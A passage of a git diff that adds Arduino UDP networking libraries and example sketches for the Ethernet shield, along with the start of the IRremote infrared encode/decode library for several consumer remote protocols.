recv(_sock,tmpBuf,1); + buf[i]=tmpBuf[0]; + } + + //and just read the rest byte by byte and throw it away + while(available()) { + recv(_sock,tmpBuf,1); + } + + return (-1*packetLen); + + //ALTERNATIVE: requires stdlib - takes a bunch of space + /*//create new buffer and read everything into it + uint8_t * tmpBuf = (uint8_t *)malloc(packetLen); + recvfrom(_sock,tmpBuf,packetLen,ip,port); + if(!tmpBuf) return 0; //couldn't allocate + // copy first bufLen bytes + for(unsigned int i=0; i str.capacity()) { + //packet is longer than string capacity - + //resize string - this is very implementation dependent on WString + str = String(len); + //fall through to read which should be ok now + } + return (int)recvfrom(_sock,(byte *)(str.cstr()),(uint16_t)str.capacity(),ip,port); +} + +/* Create one global object */ +UdpStringClass UdpString; diff --git a/Projects/libraries/Installed_libs/Ethernet/UdpString.h b/Projects/libraries/Installed_libs/Ethernet/UdpString.h new file mode 100755 index 0000000..b5b8d93 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/UdpString.h @@ -0,0 +1,70 @@ +/* + * UdpString.h: Library to send/receive UDP packets with the Arduino ethernet shield + * using Tom Igoe/Hernando Barragan's WString library. + * Drop UdpString.h/.cpp from this distribution into the Ethernet library directory at + * hardware/libraries/Ethernet/ + * Then copy directory /libraries/String from this distribution to /hardware/libraries/String in + * your Arduino installation. + * + * NOTE: UDP is fast, but has some important limitations (thanks to Warren Gray for mentioning these) + * 1) UDP does not guarantee the order in which assembled UDP packets are received. This + * might not happen often in practice, but in larger network topologies, a UDP + * packet can be received out of sequence. + * 2) UDP does not guard against lost packets - so packets *can* disappear without the sender being + * aware of it. Again, this may not be a concern in practice on small local networks. + * For more information, see http://www.cafeaulait.org/course/week12/35.html + * + * MIT License: + * Copyright (c) 2008 Bjoern Hartmann + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * bjoern@cs.stanford.edu 12/30/2008 + */ + +#ifndef UdpString_h +#define UdpString_h + +#include "WString.h" + + + +class UdpStringClass { +private: + uint8_t _sock; // socket ID for Wiz5100 + uint16_t _port; // local port to listen on +public: + void begin(uint16_t); // initialize, start listening on specified port + int available(); // has data been received? + + // C-style buffer-oriented functions + uint16_t sendPacket(uint8_t *, uint16_t, uint8_t *, uint16_t); //send a packet to specified peer + uint16_t sendPacket(const char[], uint8_t *, uint16_t); //send a string as a packet to specified peer + uint16_t readPacket(uint8_t *, uint16_t); // read a received packet + uint16_t readPacket(uint8_t *, uint16_t, uint8_t *, uint16_t *); // read a received packet, also return sender's ip and port + + // WString functions + int sendPacket(String str, byte * ip, unsigned int port); + int sendPacket(String str, int length, byte * ip, unsigned int port); + int readPacket(String &str); + int readPacket(String &str, byte * ip, unsigned int * port); +}; + +extern UdpStringClass UdpString; + +#endif diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde new file mode 100755 index 0000000..ae70665 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveBytewise/UdpReceiveBytewise.pde @@ -0,0 +1,57 @@ +#include +#include + +/* UdpReceiveBytewise.pde: Example how to receive packets over UDP using UdpBytewise library + * prints received packet to serial port + * bjoern@cs.stanford.edu 12/30/2008 + */ + +/* ETHERNET SHIELD CONFIGURATION + * set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets + */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +unsigned int localPort = 8888; // local port to listen on + +#define MAX_SIZE 32 // maximum packet size +byte packetBuffer[MAX_SIZE]; //buffer to hold incoming packet +int packetSize; // holds received packet size +byte remoteIp[4]; // holds recieved packet's originating IP +unsigned int remotePort; // holds received packet's originating port + +int i; + +/* SETUP: init Ethernet shield, start UDP listening, open serial port */ +void setup() { + Ethernet.begin(mac,ip,gw); + UdpBytewise.begin(localPort); + Serial.begin(38400); +} +/* LOOP: wait for incoming packets and print each packet to the serial port */ +void loop() { + // if there's data available, read a packet + if(packetSize = UdpBytewise.available()) { + Serial.print("Received packet of size "); + Serial.println(packetSize); + + UdpBytewise.getSenderIp(remoteIp); + Serial.print("From IP "); + for(i=0; i<4; i++) { + Serial.print(remoteIp[i],DEC); + if(i<3) Serial.print("."); + } + + remotePort = UdpBytewise.getSenderPort(); + Serial.print(" Port "); + Serial.println(remotePort); + + Serial.println("Contents:"); + while(UdpBytewise.available()) { + Serial.print(UdpBytewise.read(),BYTE); + } + } + //wait a bit + delay(10); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde new file mode 100755 index 0000000..4b240fd --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpReceiveRaw/UdpReceiveRaw.pde @@ -0,0 +1,70 @@ +#include +#include + +/* UdpReceiveRaw.pde: Example how to receive packets over UDP using UdpRaw library + * prints received packet to serial port + * bjoern@cs.stanford.edu 12/30/2008 + */ + +/* ETHERNET SHIELD CONFIGURATION + * set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets + */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; // local port to listen on + +#define MAX_SIZE 32 // maximum packet size +byte packetBuffer[MAX_SIZE]; //buffer to hold incoming packet +int packetSize; // holds received packet size +byte remoteIp[4]; // holds recvieved packet's originating IP +unsigned int remotePort; // holds received packet's originating port + +int i; + +/* SETUP: init Ethernet shield, start UDP listening, open serial port */ +void setup() { + Ethernet.begin(mac,ip,gw); + UdpRaw.begin(localPort); + Serial.begin(38400); +} +/* LOOP: wait for incoming packets and print each packet to the serial port */ +void loop() { + + // if there's data available, read a packet + if(UdpRaw.available()) { + packetSize = UdpRaw.readPacket(packetBuffer,MAX_SIZE,remoteIp,(uint16_t *)&remotePort); + + Serial.print("Received packet of size "); + Serial.println(abs(packetSize)); + + Serial.print("From IP "); + for(i=0; i<3; i++) { + Serial.print(remoteIp[i],DEC); + Serial.print("."); + } + Serial.print(remoteIp[3],DEC); + + Serial.print(" Port "); + Serial.println(remotePort); + + if(packetSize < 0) { + // if return value <0 the packet was truncated to fit into our buffer + Serial.print("ERROR: Packet was truncated from "); + Serial.print(packetSize*-1); + Serial.print(" to "); + Serial.print(MAX_SIZE); + Serial.println(" bytes."); + } + + Serial.println("Contents:"); + for(i=0; i +#include +#include +/* UdpReceiveString.pde: Example how to receive packets over UDP using the UdpString library + * prints received packet to serial port + * bjoern@cs.stanford.edu 12/30/2008 + */ + +/* ETHERNET SHIELD CONFIGURATION + * set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets + */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; // MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; // local port to listen on + +String packet(32); //packet can be max 32 bytes long +byte remoteIp[4]; // holds recvieved packet's originating IP +unsigned int remotePort[1]; // holds received packet's originating port + +int i; + +/* SETUP: init Ethernet shield, start UDP listening, open serial port */ +void setup() { + Ethernet.begin(mac,ip,gw); + UdpString.begin(localPort); + Serial.begin(38400); +} + +/* LOOP: wait for incoming packets and print each packet to the serial port */ +void loop() { + + // if there's data available, read a packet + if(UdpString.available()) { + int packetSize = UdpString.readPacket(packet,remoteIp,remotePort); + + Serial.print("Received packet of size "); + Serial.println(packetSize); + + Serial.print("From IP "); + for(i=0; i<3; i++) { + Serial.print(remoteIp[i],DEC); + Serial.print("."); + } + Serial.print(remoteIp[3],DEC); + + Serial.print(" Port "); + Serial.println(remotePort[0]); + + Serial.println("Contents:"); + Serial.println(packet); + + + } + //wait a bit + delay(10); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde new file mode 100755 index 0000000..21885e9 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendBytewise/UdpSendBytewise.pde @@ -0,0 +1,36 @@ +#include +#include +/* UdpSendBytewise.pde: Example how to send packets over UDP using the UdpBytewise library + * by assembling packets byte-by-byte + * to check for received packets on Unix-ish setup, execute: + * sudo tcpdump -A -ien0 "udp port 8000" + * bjoern@cs.stanford.edu 12/29/2008 */ + +/* ETHERNET CONFIGURATION + * ARDUINO: set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; //MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; //local port to listen on + +/* TARGET: set this to IP/Port of computer that will receive + * UDP messages from Arduino */ +byte targetIp[] = { 192, 168, 11, 15}; +int targetPort = 8000; + +int i=0; + +void setup() { + Ethernet.begin(mac,ip,gw); + UdpBytewise.begin(localPort); +} + +void loop() { + // this version of sendPacket sends a zero-terminated string. + UdpBytewise.beginPacket(targetIp,targetPort); + UdpBytewise.print("Hello, World! "); + UdpBytewise.print(i++); + UdpBytewise.endPacket(); + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde new file mode 100755 index 0000000..838791d --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendRaw/UdpSendRaw.pde @@ -0,0 +1,40 @@ +#include +#include +/* UdpSendRaw.pde: Example how to send packets over UDP using the UdpRaw library + * to check for received packets on Unix-ish setup, execute: + * sudo tcpdump -ien0 "udp port 8000" + * bjoern@cs.stanford.edu 12/30/2008 */ + +/* ETHERNET CONFIGURATION + * ARDUINO: set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; //MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; //local port to listen on + +/* TARGET: set this to IP/Port of computer that will receive + * UDP messages from Arduino */ +byte targetIp[] = { 192, 168, 11, 15}; +int targetPort = 8000; + +/* A binary packet we'll send to our target - can contain 0x00 */ +byte packet[] = { 'h','e','l','l','o','\0','w','o','r','l','d','\0' }; +int packetLen = 12; + + +void setup() { + Ethernet.begin(mac,ip,gw); + UdpRaw.begin(localPort); +} + +void loop() { + // this version of sendPacket sends a zero-terminated string. + UdpRaw.sendPacket("hello, world.",targetIp,targetPort); + delay(1000); + + // this version sends an arbitrary buffer with specified length; + // buffer can contain '\0' + UdpRaw.sendPacket(packet,packetLen,targetIp,targetPort); + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde new file mode 100755 index 0000000..fc8c862 --- /dev/null +++ b/Projects/libraries/Installed_libs/Ethernet/examples/UdpSendString/UdpSendString.pde @@ -0,0 +1,48 @@ +#include +#include +#include + +/* UdpSendString.pde: Example how to send packets over UDP using the String library + * to check for received packets on Unix-ish setup, execute: + * sudo tcpdump -A -ien0 "udp port 8000" + * bjoern@cs.stanford.edu 12/30/2008 */ + +/* ETHERNET CONFIGURATION + * ARDUINO: set MAC, IP address of Ethernet shield, its gateway, + * and local port to listen on for incoming packets */ +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; //MAC address to use +byte ip[] = { 192, 168, 11, 200 }; // Arduino's IP address +byte gw[] = { 192, 168, 11, 1 }; // Gateway IP address +int localPort = 8888; //local port to listen on + +/* TARGET: set this to IP/Port of computer that will receive + * UDP messages from Arduino */ +byte targetIp[] = { 192, 168, 11, 15}; +int targetPort = 8000; + +/* Strings hold the packets we want to send */ +String asciiString; +String binaryString(4); // if we want to send non-ASCII, we have to provide a capacity for the String + +void setup() { + Ethernet.begin(mac,ip,gw); + UdpString.begin(localPort); + + asciiString = "Hello, World"; + + binaryString.getBytes()[0]=0x00; + binaryString.getBytes()[1]=0x01; + binaryString.getBytes()[2]=0x02; + binaryString.getBytes()[3]=0x03; +} + +void loop() { + // send a normal, zero-terminated string. + UdpString.sendPacket(asciiString,targetIp,targetPort); + delay(1000); + + // sends a binary string that can contain 0x00 in the middle + // you have to specify the length; + UdpString.sendPacket(binaryString,binaryString.capacity(),targetIp,targetPort); + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/IRRemote/IRremote.cpp b/Projects/libraries/Installed_libs/IRRemote/IRremote.cpp new file mode 100755 index 0000000..0b7092c --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/IRremote.cpp @@ -0,0 +1,1030 @@ +/* + * IRremote + * Version 0.11 August, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * Modified by Mitra Ardron + * Added Sanyo and Mitsubishi controllers + * Modified Sony to spot the repeat codes that some Sony's send + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#include "IRremote.h" +#include "IRremoteInt.h" + +// Provides ISR +#include + +volatile irparams_t irparams; + +// These versions of MATCH, MATCH_MARK, and MATCH_SPACE are only for debugging. +// To use them, set DEBUG in IRremoteInt.h +// Normally macros are used for efficiency +#ifdef DEBUG +int MATCH(int measured, int desired) { + Serial.print("Testing: "); + Serial.print(TICKS_LOW(desired), DEC); + Serial.print(" <= "); + Serial.print(measured, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired), DEC); + return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired); +} + +int MATCH_MARK(int measured_ticks, int desired_us) { + Serial.print("Testing mark "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us + MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us + MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us + MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us + MARK_EXCESS); +} + +int MATCH_SPACE(int measured_ticks, int desired_us) { + Serial.print("Testing space "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us - MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us - MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us - MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us - MARK_EXCESS); +} +#else +int MATCH(int measured, int desired) {return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired);} +int MATCH_MARK(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us + MARK_EXCESS));} +int MATCH_SPACE(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us - MARK_EXCESS));} +// Debugging versions are in IRremote.cpp +#endif + +void IRsend::sendNEC(unsigned long data, int nbits) +{ + enableIROut(38); + mark(NEC_HDR_MARK); + space(NEC_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(NEC_BIT_MARK); + space(NEC_ONE_SPACE); + } + else { + mark(NEC_BIT_MARK); + space(NEC_ZERO_SPACE); + } + data <<= 1; + } + mark(NEC_BIT_MARK); + space(0); +} + +void IRsend::sendSony(unsigned long data, int nbits) { + enableIROut(40); + mark(SONY_HDR_MARK); + space(SONY_HDR_SPACE); + data = data << (32 - nbits); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(SONY_ONE_MARK); + space(SONY_HDR_SPACE); + } + else { + mark(SONY_ZERO_MARK); + space(SONY_HDR_SPACE); + } + data <<= 1; + } +} + +void IRsend::sendRaw(unsigned int buf[], int len, int hz) +{ + enableIROut(hz); + for (int i = 0; i < len; i++) { + if (i & 1) { + space(buf[i]); + } + else { + mark(buf[i]); + } + } + space(0); // Just to be sure +} + +// Note: first bit must be a one (start bit) +void IRsend::sendRC5(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC5_T1); // First start bit + space(RC5_T1); // Second start bit + mark(RC5_T1); // Second start bit + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + space(RC5_T1); // 1 is space, then mark + mark(RC5_T1); + } + else { + mark(RC5_T1); + space(RC5_T1); + } + data <<= 1; + } + space(0); // Turn off at end +} + +// Caller needs to take care of flipping the toggle bit +void IRsend::sendRC6(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC6_HDR_MARK); + space(RC6_HDR_SPACE); + mark(RC6_T1); // start bit + space(RC6_T1); + int t; + for (int i = 0; i < nbits; i++) { + if (i == 3) { + // double-wide trailer bit + t = 2 * RC6_T1; + } + else { + t = RC6_T1; + } + if (data & TOPBIT) { + mark(t); + space(t); + } + else { + space(t); + mark(t); + } + + data <<= 1; + } + space(0); // Turn off at end +} +void IRsend::sendPanasonic(unsigned int address, unsigned long data) { + enableIROut(35); + mark(PANASONIC_HDR_MARK); + space(PANASONIC_HDR_SPACE); + + for(int i=0;i<16;i++) + { + mark(PANASONIC_BIT_MARK); + if (address & 0x8000) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + address <<= 1; + } + for (int i=0; i < 32; i++) { + mark(PANASONIC_BIT_MARK); + if (data & TOPBIT) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + data <<= 1; + } + mark(PANASONIC_BIT_MARK); + space(0); +} +void IRsend::sendJVC(unsigned long data, int nbits, int repeat) +{ + enableIROut(38); + data = data << (32 - nbits); + if (!repeat){ + mark(JVC_HDR_MARK); + space(JVC_HDR_SPACE); + } + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(JVC_BIT_MARK); + space(JVC_ONE_SPACE); + } + else { + mark(JVC_BIT_MARK); + space(JVC_ZERO_SPACE); + } + data <<= 1; + } + mark(JVC_BIT_MARK); + space(0); +} +void IRsend::mark(int time) { + // Sends an IR mark for the specified number of microseconds. + // The mark output is modulated at the PWM frequency. + TIMER_ENABLE_PWM; // Enable pin 3 PWM output + delayMicroseconds(time); +} + +/* Leave pin off for time (given in microseconds) */ +void IRsend::space(int time) { + // Sends an IR space for the specified number of microseconds. + // A space is no output, so the PWM output is disabled. + TIMER_DISABLE_PWM; // Disable pin 3 PWM output + delayMicroseconds(time); +} + +void IRsend::enableIROut(int khz) { + // Enables IR output. The khz value controls the modulation frequency in kilohertz. + // The IR output will be on pin 3 (OC2B). + // This routine is designed for 36-40KHz; if you use it for other values, it's up to you + // to make sure it gives reasonable results. (Watch out for overflow / underflow / rounding.) + // TIMER2 is used in phase-correct PWM mode, with OCR2A controlling the frequency and OCR2B + // controlling the duty cycle. + // There is no prescaling, so the output frequency is 16MHz / (2 * OCR2A) + // To turn the output on and off, we leave the PWM running, but connect and disconnect the output pin. + // A few hours staring at the ATmega documentation and this will all make sense. + // See my Secrets of Arduino PWM at http://arcfn.com/2009/07/secrets-of-arduino-pwm.html for details. + + + // Disable the Timer2 Interrupt (which is used for receiving IR) + TIMER_DISABLE_INTR; //Timer2 Overflow Interrupt + + pinMode(TIMER_PWM_PIN, OUTPUT); + digitalWrite(TIMER_PWM_PIN, LOW); // When not sending PWM, we want it low + + // COM2A = 00: disconnect OC2A + // COM2B = 00: disconnect OC2B; to send signal set to 10: OC2B non-inverted + // WGM2 = 101: phase-correct PWM with OCRA as top + // CS2 = 000: no prescaling + // The top value for the timer. The modulation frequency will be SYSCLOCK / 2 / OCR2A. + TIMER_CONFIG_KHZ(khz); +} + +IRrecv::IRrecv(int recvpin) +{ + irparams.recvpin = recvpin; + irparams.blinkflag = 0; +} + +// initialization +void IRrecv::enableIRIn() { + cli(); + // setup pulse clock timer interrupt + //Prescale /8 (16M/8 = 0.5 microseconds per tick) + // Therefore, the timer interval can range from 0.5 to 128 microseconds + // depending on the reset value (255 to 0) + TIMER_CONFIG_NORMAL(); + + //Timer2 Overflow Interrupt Enable + TIMER_ENABLE_INTR; + + TIMER_RESET; + + sei(); // enable interrupts + + // initialize state machine variables + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; + + // set pin modes + pinMode(irparams.recvpin, INPUT); +} + +// enable/disable blinking of pin 13 on IR processing +void IRrecv::blink13(int blinkflag) +{ + irparams.blinkflag = blinkflag; + if (blinkflag) + pinMode(BLINKLED, OUTPUT); +} + +// TIMER2 interrupt code to collect raw data. +// Widths of alternating SPACE, MARK are recorded in rawbuf. +// Recorded in ticks of 50 microseconds. +// rawlen counts the number of entries recorded so far. +// First entry is the SPACE between transmissions. +// As soon as a SPACE gets long, ready is set, state switches to IDLE, timing of SPACE continues. +// As soon as first MARK arrives, gap width is recorded, ready is cleared, and new logging starts +ISR(TIMER_INTR_NAME) +{ + TIMER_RESET; + + uint8_t irdata = (uint8_t)digitalRead(irparams.recvpin); + + irparams.timer++; // One more 50us tick + if (irparams.rawlen >= RAWBUF) { + // Buffer overflow + irparams.rcvstate = STATE_STOP; + } + switch(irparams.rcvstate) { + case STATE_IDLE: // In the middle of a gap + if (irdata == MARK) { + if (irparams.timer < GAP_TICKS) { + // Not big enough to be a gap. + irparams.timer = 0; + } + else { + // gap just ended, record duration and start recording transmission + irparams.rawlen = 0; + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + } + break; + case STATE_MARK: // timing MARK + if (irdata == SPACE) { // MARK ended, record time + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_SPACE; + } + break; + case STATE_SPACE: // timing SPACE + if (irdata == MARK) { // SPACE just ended, record it + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + else { // SPACE + if (irparams.timer > GAP_TICKS) { + // big SPACE, indicates gap between codes + // Mark current code as ready for processing + // Switch to STOP + // Don't reset timer; keep counting space width + irparams.rcvstate = STATE_STOP; + } + } + break; + case STATE_STOP: // waiting, measuring gap + if (irdata == MARK) { // reset gap timer + irparams.timer = 0; + } + break; + } + + if (irparams.blinkflag) { + if (irdata == MARK) { + BLINKLED_ON(); // turn pin 13 LED on + } + else { + BLINKLED_OFF(); // turn pin 13 LED off + } + } +} + +void IRrecv::resume() { + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; +} + + + +// Decodes the received IR message +// Returns 0 if no data ready, 1 if data ready. +// Results of decoding are stored in results +int IRrecv::decode(decode_results *results) { + results->rawbuf = irparams.rawbuf; + results->rawlen = irparams.rawlen; + if (irparams.rcvstate != STATE_STOP) { + return ERR; + } +#ifdef DEBUG + Serial.println("Attempting NEC decode"); +#endif + if (decodeNEC(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Sony decode"); +#endif + if (decodeSony(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Sanyo decode"); +#endif + if (decodeSanyo(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Mitsubishi decode"); +#endif + if (decodeMitsubishi(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC5 decode"); +#endif + if (decodeRC5(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC6 decode"); +#endif + if (decodeRC6(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Panasonic decode"); +#endif + if (decodePanasonic(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting JVC decode"); +#endif + if (decodeJVC(results)) { + return DECODED; + } + // decodeHash returns a hash on any input. + // Thus, it needs to be last in the list. + // If you add any decodes, add them before this. + if (decodeHash(results)) { + return DECODED; + } + // Throw away and start over + resume(); + return ERR; +} + +// NECs have a repeat only 4 items long +long IRrecv::decodeNEC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], NEC_HDR_MARK)) { + return ERR; + } + offset++; + // Check for repeat + if (irparams.rawlen == 4 && + MATCH_SPACE(results->rawbuf[offset], NEC_RPT_SPACE) && + MATCH_MARK(results->rawbuf[offset+1], NEC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = NEC; + return DECODED; + } + if (irparams.rawlen < 2 * NEC_BITS + 4) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], NEC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < NEC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], NEC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], NEC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], NEC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + // Success + results->bits = NEC_BITS; + results->value = data; + results->decode_type = NEC; + return DECODED; +} + +long IRrecv::decodeSony(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SONY_BITS + 2) { + return ERR; + } + int offset = 0; // Dont skip first space, check its size + + // Some Sony's deliver repeats fast after first + // unfortunately can't spot difference from of repeat from two fast clicks + if (results->rawbuf[offset] < SONY_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SONY_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SONY_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SONY_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SONY_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SONY; + return DECODED; +} + +// I think this is a Sanyo decoder - serial = SA 8650B +// Looks like Sony except for timings, 48 chars of data and time/space different +long IRrecv::decodeSanyo(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SANYO_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + if (results->rawbuf[offset] < SANYO_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + // Skip Second Mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SANYO_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SANYO_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SANYO_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SANYO; + return DECODED; +} + +// Looks like Sony 